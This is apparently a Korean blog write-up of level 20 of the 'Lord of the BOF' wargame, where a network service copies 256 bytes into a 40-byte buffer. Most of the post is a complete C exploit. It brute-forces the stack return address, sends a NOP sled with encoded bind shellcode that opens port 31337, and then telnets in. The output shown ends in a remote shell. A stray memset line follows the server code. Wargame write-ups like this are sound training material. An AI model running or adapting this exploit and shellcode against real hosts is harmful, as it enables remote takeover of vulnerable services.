2012. 6. 21. 00:14

BOF 원정대 level20 (xavius -> death_knight)

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;   //소켓  서버 구조체 선언

        struct sockaddr_in client_addr;   //소켓 클라이언트 구조체 선언

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){  //소켓의 타입 설정(여기서는 TCP)

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;   //소켓의 타입 결정 IPV4 를 의미

        server_addr.sin_port = htons(6666);   //6666포트를 열게 된다.

        server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음

        bzero(&(server_addr.sin_zero), 8);  //서버의 zin_zero 부분을 0으로 초기화

 

        if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){  //바인딩시킴

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){  //소켓을 대기 상태로 만듬

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                  //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시)

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0); //40바이트 buffer 256바이트를 저장

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}memset(buffer+40+8, 'A', 4);

 

 

리모트 BOF 문제이다.

6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다.

공격 페이로드는 다음과 같다

[buffer=40][sfp=4][ret= 4] [ argc ~~]

 Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]

 

버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다.

이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.

 

이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다.

부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

 

 

 

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

Connected to 220.95.152.26.

Escape character is '^]'.

id

: command not found

id;

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

 

Posted by k1rha